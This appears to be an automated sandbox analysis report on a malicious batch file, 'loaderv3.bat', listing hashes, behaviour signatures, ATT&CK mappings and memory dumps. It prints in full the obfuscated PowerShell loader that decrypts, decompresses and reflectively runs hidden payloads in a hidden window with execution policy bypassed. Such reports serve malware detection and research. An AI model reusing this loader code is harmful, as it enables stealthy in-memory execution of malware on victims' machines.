5ec787845e4c8569e81a28a415e6f0ff5b3ed9012f0cb30d1558adad98cd8680

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
03/06/2024, 23:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

loaderv3.bat
Size

300KB
MD5

82ce24de6320cb72c527deda4c1637f9
SHA1

aaebcf1e94c9ac15b129e2ad8aa89288fb4fa6f8
SHA256

5ec787845e4c8569e81a28a415e6f0ff5b3ed9012f0cb30d1558adad98cd8680
SHA512

c24fc762ec4b8dda569a502e93a3438460d8ecfacf83a5a2b9b0545338bd6369d861b56b9b96db0cb2e0914e751099be152fbc6d2cf018f15d7756a7e63ab048
SSDEEP

6144:w4WQ1SbqrV+rICzcuHYMq6jBo/CDlcQOxS:w4WQ1SWx+r7vKgICDlcQ8S

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2972	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2972	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2972	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2872 wrote to memory of 2972	2872	cmd.exe	29
PID 2872 wrote to memory of 2972	2872	cmd.exe	29
PID 2872 wrote to memory of 2972	2872	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\loaderv3.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xLde0JRLrIczMl9RxXziwroTVxq5HOanuhcsMouO6So='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8g2uqMTqX55+f+XUZTpqzw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QupMx=New-Object System.IO.MemoryStream(,$param_var); $tyPSR=New-Object System.IO.MemoryStream; $UJjgx=New-Object System.IO.Compression.GZipStream($QupMx, [IO.Compression.CompressionMode]::Decompress); $UJjgx.CopyTo($tyPSR); $UJjgx.Dispose(); $QupMx.Dispose(); $tyPSR.Dispose(); $tyPSR.ToArray();}function execute_function($param_var,$param2_var){ $xhjgK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ilqWR=$xhjgK.EntryPoint; $ilqWR.Invoke($null, $param2_var);}$XSpOb = 'C:\Users\Admin\AppData\Local\Temp\loaderv3.bat';$host.UI.RawUI.WindowTitle = $XSpOb;$TBRhO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XSpOb).Split([Environment]::NewLine);foreach ($EpZJp in $TBRhO) { if ($EpZJp.StartsWith(':: ')) { $nDory=$EpZJp.Substring(3); break; }}$payloads_var=[string[]]$nDory.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2972

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2972-4-0x000007FEF5DFE000-0x000007FEF5DFF000-memory.dmp

Filesize
4KB

Download
memory/2972-6-0x0000000001E20000-0x0000000001E28000-memory.dmp

Filesize
32KB

Download
memory/2972-5-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2972-7-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/2972-8-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/2972-9-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/2972-12-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/2972-11-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/2972-10-0x0000000002DF4000-0x0000000002DF7000-memory.dmp

Filesize
12KB

Download